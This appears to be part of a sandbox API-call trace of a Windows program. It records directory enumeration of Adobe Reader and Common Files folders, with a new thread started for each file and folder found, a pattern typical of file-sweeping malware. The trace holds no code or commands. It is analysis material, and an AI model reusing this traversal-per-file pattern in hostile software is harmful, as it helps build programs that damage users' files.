nFileSizeHigh=0x0, nFileSizeLow=0x42aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHRV.htm", cAlternateFileName="RE2D2E~1.HTM")) returned 1 [0097.094] wcscmp (_String1="ReadMeHRV.htm", _String2=".") returned 1 [0097.094] wcscmp (_String1="ReadMeHRV.htm", _String2="..") returned 1 [0097.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867940 [0097.094] wcscpy (in: _Dest=0x1b867940, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.094] wcscat (in: _Dest=0x1b867940, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.095] wcscat (in: _Dest=0x1b867940, _Source="ReadMeHRV.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0097.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d4 [0097.096] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4274, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeHUN.htm", cAlternateFileName="RE50AF~1.HTM")) returned 1 [0097.096] wcscmp (_String1="ReadMeHUN.htm", _String2=".") returned 1 [0097.096] wcscmp (_String1="ReadMeHUN.htm", _String2="..") returned 1 [0097.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8679c0 [0097.096] wcscpy (in: _Dest=0x1b8679c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.096] wcscat (in: _Dest=0x1b8679c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.096] wcscat (in: _Dest=0x1b8679c0, _Source="ReadMeHUN.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0097.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8679c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10d8 [0097.097] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeJ.htm", cAlternateFileName="")) returned 1 [0097.097] wcscmp (_String1="ReadMeJ.htm", _String2=".") returned 1 [0097.097] wcscmp (_String1="ReadMeJ.htm", _String2="..") returned 1 [0097.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867a40 [0097.097] wcscpy (in: _Dest=0x1b867a40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.097] wcscat (in: _Dest=0x1b867a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.097] wcscat (in: _Dest=0x1b867a40, _Source="ReadMeJ.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0097.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10dc [0097.098] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeK.htm", cAlternateFileName="")) returned 1 [0097.098] wcscmp (_String1="ReadMeK.htm", _String2=".") returned 1 [0097.098] wcscmp (_String1="ReadMeK.htm", _String2="..") returned 1 [0097.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867ac0 [0097.098] wcscpy (in: _Dest=0x1b867ac0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.099] wcscat (in: _Dest=0x1b867ac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.099] wcscat (in: _Dest=0x1b867ac0, _Source="ReadMeK.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0097.099] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e0 [0097.101] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMePOL.htm", cAlternateFileName="RECE99~1.HTM")) returned 1 [0097.101] wcscmp (_String1="ReadMePOL.htm", _String2=".") returned 1 [0097.101] wcscmp (_String1="ReadMePOL.htm", _String2="..") returned 1 [0097.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867b40 [0097.101] wcscpy (in: _Dest=0x1b867b40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.101] wcscat (in: _Dest=0x1b867b40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.101] wcscat (in: _Dest=0x1b867b40, _Source="ReadMePOL.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0097.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e4 [0097.102] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4318, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUM.htm", cAlternateFileName="README~4.HTM")) returned 1 [0097.102] wcscmp (_String1="ReadMeRUM.htm", _String2=".") returned 1 [0097.102] wcscmp (_String1="ReadMeRUM.htm", _String2="..") returned 1 [0097.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867bc0 [0097.102] wcscpy (in: _Dest=0x1b867bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.102] wcscat (in: _Dest=0x1b867bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.102] wcscat (in: _Dest=0x1b867bc0, _Source="ReadMeRUM.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0097.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10e8 [0097.103] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4872, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUS.htm", cAlternateFileName="README~3.HTM")) returned 1 [0097.103] wcscmp (_String1="ReadMeRUS.htm", _String2=".") returned 1 [0097.103] wcscmp (_String1="ReadMeRUS.htm", _String2="..") returned 1 [0097.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867c40 [0097.103] wcscpy (in: _Dest=0x1b867c40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.103] wcscat (in: _Dest=0x1b867c40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.103] wcscat (in: _Dest=0x1b867c40, _Source="ReadMeRUS.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0097.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec [0097.104] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeSKY.htm", cAlternateFileName="README~2.HTM")) returned 1 [0097.104] wcscmp (_String1="ReadMeSKY.htm", _String2=".") returned 1 [0097.104] wcscmp (_String1="ReadMeSKY.htm", _String2="..") returned 1 [0097.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867cc0 [0097.104] wcscpy (in: _Dest=0x1b867cc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.104] wcscat (in: _Dest=0x1b867cc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.104] wcscat (in: _Dest=0x1b867cc0, _Source="ReadMeSKY.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0097.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0 [0097.105] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4995, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeUKR.htm", cAlternateFileName="README~1.HTM")) returned 1 [0097.105] wcscmp (_String1="ReadMeUKR.htm", _String2=".") returned 1 [0097.105] wcscmp (_String1="ReadMeUKR.htm", _String2="..") returned 1 [0097.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867d40 [0097.105] wcscpy (in: _Dest=0x1b867d40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.106] wcscat (in: _Dest=0x1b867d40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.106] wcscat (in: _Dest=0x1b867d40, _Source="ReadMeUKR.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0097.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f4 [0097.107] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0097.107] wcscmp (_String1="Resource", _String2=".") returned 1 [0097.107] wcscmp (_String1="Resource", _String2="..") returned 1 [0097.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e3a0 [0097.107] wcscpy (in: _Dest=0x1b86e3a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.107] wcscat (in: _Dest=0x1b86e3a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.108] wcscat (in: _Dest=0x1b86e3a0, _Source="Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0097.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8 [0097.108] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0097.108] wcscmp (_String1="Setup Files", _String2=".") returned 1 [0097.108] wcscmp (_String1="Setup Files", _String2="..") returned 1 [0097.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867dc0 [0097.108] wcscpy (in: _Dest=0x1b867dc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.108] wcscat (in: _Dest=0x1b867dc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.109] wcscat (in: _Dest=0x1b867dc0, _Source="Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0097.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b867dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc [0097.109] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1 [0097.109] wcscmp (_String1="Vigtigt.htm", _String2=".") returned 1 [0097.109] wcscmp (_String1="Vigtigt.htm", _String2="..") returned 1 [0097.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867e40 [0097.110] wcscpy (in: _Dest=0x1b867e40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.110] wcscat (in: _Dest=0x1b867e40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.110] wcscat (in: _Dest=0x1b867e40, _Source="Vigtigt.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0097.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100 [0097.111] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktig.htm", cAlternateFileName="")) returned 1 [0097.111] wcscmp (_String1="Viktig.htm", _String2=".") returned 1 [0097.111] wcscmp (_String1="Viktig.htm", _String2="..") returned 1 [0097.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86edb0 [0097.111] wcscpy (in: _Dest=0x1b86edb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.111] wcscat (in: _Dest=0x1b86edb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.111] wcscat (in: _Dest=0x1b86edb0, _Source="Viktig.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0097.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86edb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1104 [0097.112] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 1 [0097.112] wcscmp (_String1="Viktigt.htm", _String2=".") returned 1 [0097.112] wcscmp (_String1="Viktigt.htm", _String2="..") returned 1 [0097.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867ec0 [0097.112] wcscpy (in: _Dest=0x1b867ec0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0097.112] wcscat (in: _Dest=0x1b867ec0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0097.112] wcscat (in: _Dest=0x1b867ec0, _Source="Viktigt.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0097.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108 [0097.113] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4214, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm", cAlternateFileName="")) returned 0 [0097.113] FindClose (in: hFindFile=0x1b859030 | out: hFindFile=0x1b859030) returned 1 [0097.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699e0) returned 1 [0097.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858fd0) returned 1 [0097.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce940) returned 1 Thread: id = 157 os_tid = 0x7e8 [0086.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b859090 [0086.290] wcscpy (in: _Dest=0x1b859090, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0086.290] wcscat (in: _Dest=0x1b859090, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0086.290] wcscat (in: _Dest=0x1b859090, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\*" [0086.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b86ac50 [0086.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x1b86ac50 | out: lpFindFileData=0x1b86ac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8590f0 [0086.290] wcscmp (_String1=".", _String2=".") returned 0 [0086.290] FindNextFileW (in: hFindFile=0x1b8590f0, lpFindFileData=0x1b86ac50 | out: lpFindFileData=0x1b86ac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.290] wcscmp (_String1="..", _String2=".") returned 1 [0086.290] wcscmp (_String1="..", _String2="..") returned 0 [0086.290] FindNextFileW (in: hFindFile=0x1b8590f0, lpFindFileData=0x1b86ac50 | out: lpFindFileData=0x1b86ac50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0086.290] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0086.290] wcscmp (_String1="Acrobat", _String2="..") returned 